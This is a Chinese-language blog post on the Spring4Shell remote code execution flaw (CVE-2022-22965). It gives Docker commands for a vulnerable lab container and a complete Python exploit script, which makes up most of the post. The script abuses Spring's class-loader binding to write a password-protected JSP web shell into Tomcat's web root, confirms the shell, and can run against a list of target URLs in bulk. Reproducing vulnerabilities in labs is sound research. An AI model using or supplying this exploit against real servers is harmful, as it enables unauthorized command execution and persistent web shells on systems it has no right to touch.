Spring 框架远程代码执行漏洞(CVE-2022-22965)

漏洞描述

Spring4Shell (CVE-2022-22965) 概念证明/信息

今天一大早,多个消息来源得知流行的 java 框架 spring 中可能存在 RCE 漏洞。

这个漏洞的命名是基于与臭名昭著的 Log4j LOG4Shell 的相似性。

漏洞影响

s ✅Java 开发工具包 (JDK) 9 或更高版本 Apache Tomcat 作为 Servlet 容器

空间测绘

d ⭕暂时不知

漏洞复现

  • ✅docker镜像拉取
1
2
docker pull vulfocus/spring-core-rce-2022-03-29
docker run -itd -p 8080:8080 -P vulfocus/spring-core-rce-2022-03-29
  • 漏洞利用

image-20220401203822093

image-20220401203851841

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#coding:utf-8

import requests
import argparse
from urllib.parse import urljoin

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()


def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"

}
proxies = {
"http": 'http://127.0.0.1:7890',
"https": 'http://127.0.0.1:7890'
}
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:

go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False,proxies=proxies)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False,proxies=proxies)
if shellgo.status_code == 200:
print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass




def main():
parser = argparse.ArgumentParser(description='Srping-Core Rce.')
parser.add_argument('--file',help='url file',required=False)
parser.add_argument('--url',help='target url',required=False)
args = parser.parse_args()
if args.url:
Exploit(args.url)
if args.file:
with open (args.file) as f:
for i in f.readlines():
i = i.strip()
Exploit(i)

if __name__ == '__main__':
main()

个人博客

孤桜懶契:https://gylq.gitee.io/time

本文标题:Spring 框架远程代码执行漏洞(CVE-2022-22965)

文章作者:孤桜懶契

发布时间:2022年04月01日 - 20:33:11

最后更新:2022年05月24日 - 21:00:57

原始链接:http://gylq.gitee.io/time/posts/13.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------